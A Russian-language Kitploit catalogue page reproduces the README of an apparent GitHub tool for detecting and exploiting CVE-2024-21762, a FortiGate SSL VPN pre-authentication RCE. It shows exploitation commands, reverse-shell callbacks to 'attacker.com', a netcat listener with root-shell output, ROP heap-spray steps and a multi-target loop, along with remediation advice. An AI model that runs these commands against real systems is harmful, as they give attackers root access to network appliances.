Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-21762 — Обнаруживает и эксплуатирует CVE-2024-21762 предварительную аутентификацию RCE в FortiGate SSL VPN, включая базовую проверку, автоматическую эксплуатацию, режим ROP heap-spray и обратную оболочку. | Kitploit
Инструменты/GitHubGitHub/0x13-bytezer0/cve-2024-21762
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеRed TeamingИнструмент Удаленного Доступа
GitHub0x13-bytezer0/cve-2024-21762

CVE-2024-21762

Обнаруживает и эксплуатирует CVE-2024-21762 предварительную аутентификацию RCE в FortiGate SSL VPN, включая базовую проверку, автоматическую эксплуатацию, режим ROP heap-spray и обратную оболочку.

Репозиторий
7 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2024-21762 - Инструмент обнаружения и эксплуатации RCE в FortiGate SSL VPN

Python 3.7+ License Vulnerability: Critical

Инструмент для обнаружения и эксплуатации CVE-2024-21762 – критической уязвимости в FortiGate SSL VPN

⚠️ ПРАВОВОЕ ПРЕДУПРЕЖДЕНИЕ: Данный инструмент предназначен исключительно для использования в авторизованных тестовых средах. Несанкционированное использование на системах НЕЗАКОННО и может привести к серьёзным юридическим последствиям.

Обзор

CVE-2024-21762 – критическая уязвимость в компонентах FortiGate SSL VPN, позволяющая удалённое выполнение кода (RCE) без аутентификации. Ошибка заключается в уязвимом разборе HTTP-запросов с кодированием chunked, что приводит к записи за границы буфера в компоненте sslvpnd.

Технические детали

АтрибутИнформация
CVE IDCVE-2024-21762
УязвимостьЗапись за границы буфера в sslvpnd
ТипУдалённое выполнение кода (RCE) без аутентификации
Оценка CVSS9.8 (Critical)
Затронутый компонентFortiOS SSL VPN
Уязвимые версии7.0.0-7.0.13, 7.2.0-7.2.6, 7.4.0-7.4.2

Возможности

✅ Обнаружение уязвимости – выявляет уязвимые FortiGate с помощью некорректных запросов
✅ Базовый тест – проверяет нормальное поведение сервера до тестов
✅ Автоматический режим – обнаруживает уязвимость и автоматически эксплуатирует
✅ Reverse Shell – поддерживает обратную оболочку bash с настройкой IP/порта
✅ Проверка ввода – валидирует IP и порты перед эксплуатацией
✅ Подробные отчёты – формирует отчёты с рекомендациями по устранению
✅ Надёжная обработка ошибок – безопасное управление соединениями и исключениями

Требования

  • Python 3.7 или выше
  • Стандартные модули библиотеки Python (socket, ssl, argparse, datetime, time, re)
  • Сетевой доступ к цели (порт 443 или нестандартный)

Установка

root@kitploit:~
# Клонирование репозитория
git clone https://github.com/ваш-пользователь/CVE-2024-21762.git
cd CVE-2024-21762

# Проверка синтаксиса
python -m py_compile EXPLOIT.py

# Запуск скрипта
python EXPLOIT.py -h

Использование

Базовое использование

root@kitploit:~
# Простой тест обнаружения
python EXPLOIT.py 192.168.1.100

# С нестандартным портом
python EXPLOIT.py 192.168.1.100 -p 8443

# С увеличенным таймаутом
python EXPLOIT.py 192.168.1.100 --timeout 20

Автоматический режим (Обнаружение + Эксплуатация)

root@kitploit:~
# Автоматический режим с предварительно настроенным reverse shell
python EXPLOIT.py 192.168.1.100 --auto -li 10.0.0.5 -lp 4444

# Автоматический режим без учётных данных (запрос интерактивно)
python EXPLOIT.py 192.168.1.100 --auto

ROP-режим – продвинутая эксплуатация с heap spray

ROP-режим реализует двухэтапную эксплуатацию с heap spray для конкретных целей (FortiOS 7.4.2):

root@kitploit:~
# ROP-эксплуатация с reverse shell Node.js
python EXPLOIT.py 192.168.1.100 --rop -li 10.0.0.5 -lp 4242

# С нестандартным портом
python EXPLOIT.py 192.168.1.100 -p 8443 --rop -li attacker.com -lp 4242

# С увеличенным таймаутом для медленных целей
python EXPLOIT.py 192.168.1.100 --rop -li 192.168.1.50 -lp 9999 --timeout 30

Поток ROP-эксплуатации:

  1. Этап 1: Отправка heap spray размером 1.8 МБ с ROP-гаджетами
  2. Ожидание 2 секунды для обработки CPU
  3. Этап 2: Триггер OOB-write с чанком размером 4137 байт
  4. Ожидание 3 секунды для выполнения полезной нагрузки
  5. Установка обратного соединения Node.js

На вашем сервере прослушивания:

root@kitploit:~
# Linux/Mac/Windows с netcat
nc -lnvp 4242

# Ожидаемый вывод:
# listening on [any] 4242 ...
# connect to [10.0.0.5] from (UNKNOWN) [192.168.1.100] 54321
# id
# uid=0(root) gid=0(root) groups=0(root)

⚠️ Важное примечание: ROP-режим оптимизирован для FortiOS 7.4.2.F-build2571. Другие версии могут не работать из-за жёстко заданных смещений ROP-цепочки.

Ручное тестирование с reverse shell

root@kitploit:~
# Отправка полезной нагрузки reverse shell
python EXPLOIT.py 192.168.1.100 -li 192.168.1.50 -lp 9999

# Комбинация нескольких опций
python EXPLOIT.py -t target.com -p 8443 --auto -li attacker.com -lp 5555 --timeout 15

Доступные опции

root@kitploit:~
positional arguments:
  target                    Целевое имя хоста или IP для тестирования

optional arguments:
  -h, --help               Показать это справочное сообщение
  -t, --target HOSTNAME    Целевое имя хоста или IP (альтернативный способ)
  -p, --port PORT          Порт SSL VPN (по умолчанию: 443)
  --timeout SECONDS        Таймаут в секундах (по умолчанию: 10)
  -li, --lhost IP          Локальный IP для получения reverse shell
  -lp, --lport PORT        Локальный порт для получения reverse shell
  --no-baseline            Пропустить базовый тест
  --auto                   Автоматический режим: обнаружение и эксплуатация
  --rop                    ROP-режим: продвинутая эксплуатация с heap spray (FortiOS 7.4.2)
  -v, --version            Показать версию скрипта

Полные примеры использования

1. Простое обнаружение

root@kitploit:~
python EXPLOIT.py 192.168.1.100

Ожидаемый результат при уязвимости:

root@kitploit:~
[+] Запуск теста уязвимости...
[!] УЯЗВИМОСТЬ ОБНАРУЖЕНА!
[!] Сервер резко разорвал соединение
[!] СТАТУС: УЯЗВИМ

2. Автоматическая эксплуатация с reverse shell

root@kitploit:~
python EXPLOIT.py 192.168.1.100 --auto -li 192.168.1.50 -lp 4444

На вашем сервере:

root@kitploit:~
# Linux/Mac
nc -lnvp 4444

# Windows
ncat -lnvp 4444

3. Тестирование нескольких целей

root@kitploit:~
for target in 192.168.1.100 192.168.1.101 192.168.1.102; do
  python EXPLOIT.py $target --timeout 15
done

Принцип работы

Поток обнаружения

  1. Базовый тест – отправляет обычный HTTP-запрос для проверки стандартного поведения
  2. Некорректный запрос – отправляет повреждённый HTTP-запрос с уязвимым chunked-кодированием
  3. Анализ – анализирует ответ на предмет признаков уязвимости:
    • Резкий разрыв соединения
    • Таймаут/крах сервера
    • Аномальные предупреждения TLS
  4. Отчёт – формирует отчёт со статусом и рекомендациями

Поток эксплуатации (автоматический режим)

  1. Выполняет тест обнаружения
  2. Если уязвимость найдена, внедряет полезную нагрузку reverse shell
  3. Ожидает обратного соединения
  4. Формирует итоговый отчёт

Индикаторы уязвимости

Инструмент считает цель уязвимой при обнаружении одного из следующих поведений:

  • ✓ Соединение резко разорвано (пустой ответ)
  • ✓ Таймаут после отправки полезной нагрузки (крах сервера)
  • ✓ Получено предупреждение TLS (sslvpnd crash)
  • ✓ Сброс соединения со стороны узла

Затронутые версии

ВерсияОбнаружениеROP ModeСтатус
FortiOS 7.0.0 - 7.0.13✅ Да❌ Нет⚠️ УЯЗВИМА
FortiOS 7.2.0 - 7.2.6✅ Да❌ Нет⚠️ УЯЗВИМА
FortiOS 7.4.0 - 7.4.1✅ Да❌ Нет⚠️ УЯЗВИМА
FortiOS 7.4.2 (build≤2571)✅ Да✅ Да⚠️ УЯЗВИМА
FortiOS 7.4.3+❌ Нет❌ Нет✅ ИСПРАВЛЕНО

Устранение

Немедленные действия

  1. Обновить FortiOS до исправленной версии:

    • FortiOS 7.0.14+
    • FortiOS 7.2.7+
    • FortiOS 7.4.3+
  2. Временная изоляция

    • Отключить внешний доступ к SSL VPN
    • Ограничить административный доступ
  3. Мониторинг

    • Просмотреть журналы на предмет признаков эксплуатации
    • Проверить учётные данные и аномальный доступ

Последующая проверка

root@kitploit:~
# Проверка версии FortiOS
python EXPLOIT.py ваш-fortinet.com

Если результат показывает "НЕ УЯЗВИМ", патч был успешно применён.

Структура проекта

root@kitploit:~
CVE-2024-21762/
├── EXPLOIT.py          # Основной скрипт эксплуатации
├── README.md           # Этот файл
├── LICENSE             # Лицензия MIT
└── .gitignore          # Конфигурация Git

Методы класса

CVE2024_21762_Detector

МетодОписание
test_vulnerability()Проверяет уязвимость, отправляя повреждённый запрос
exploit(lhost, lport)Эксплуатирует уязвимость с reverse shell
test_baseline()Проверяет нормальное поведение сервера
generate_report()Формирует итоговый отчёт со статусом
_create_ssl_context()Создаёт многоразовый SSL-контекст
_create_socket_connection()Создаёт безопасное TLS-соединение
_close_socket(sock)Безопасно закрывает сокет
_is_valid_ip(ip_str)Проверяет формат IP

Обработка ошибок

Инструмент реализует:

  • ✓ Надёжную проверку ввода
  • ✓ Обработку исключений SSL/TLS
  • ✓ Таймаут при соединениях
  • ✓ Безопасное закрытие сокетов
  • ✓ Информативные сообщения об ошибках

Ограничения

  • ⚠️ Требуется сетевая связность с целью
  • ⚠️ Обнаруживает уязвимость, но не гарантирует успешную эксплуатацию
  • ⚠️ Reverse shell зависит от целевого окружения (требуется bash)
  • ⚠️ Не работает с ограничивающим файрволом

Часто задаваемые вопросы

В: Можно ли использовать в среде Windows?
О: Да, скрипт Python работает в Windows, однако стандартный reverse shell bash не будет работать. Потребуется настраиваемая полезная нагрузка.

В: Как узнать, что эксплуатация прошла успешно?
О: Проверьте машину, слушающую reverse shell (nc/ncat). Скрипт покажет сообщения о ходе выполнения.

В: Можно ли использовать против нескольких целей?
О: Да, можно создать скрипт на bash/PowerShell для итерации по списку IP.

В: В чём разница между нормальным и автоматическим режимом?
О: Автоматический режим выполняет эксплуатацию сразу после обнаружения уязвимости. Нормальный режим только обнаруживает.

Участие в разработке

Нашли ошибку или есть предложения? Откройте issue или сделайте pull request!

Лицензия

Этот проект лицензирован под лицензией MIT – подробности в файле LICENSE.

Отказ от ответственности

Данное программное обеспечение предоставляется «как есть» для исследовательских и авторизованных тестовых целей. Авторы не несут ответственности за:

  • Ущерб, причинённый неавторизованным использованием
  • Потерю данных
  • Влияние на рабочие системы
  • Правовые последствия неавторизованного использования

ИСПОЛЬЗУЙТЕ ОТВЕТСТВЕННО И ТОЛЬКО В АВТОРИЗОВАННЫХ СРЕДАХ

Ссылки

  • Рекомендации Fortinet по безопасности
  • NVD – CVE-2024-21762
  • Калькулятор CVSS

Автор

Разработано в образовательных и исследовательских целях в области кибербезопасности.


⚠️ Помните: Используйте этот инструмент только на системах, которые принадлежат вам или на тестирование которых вы имеете явное разрешение. Несанкционированная эксплуатация является преступлением.

Скачать инструмент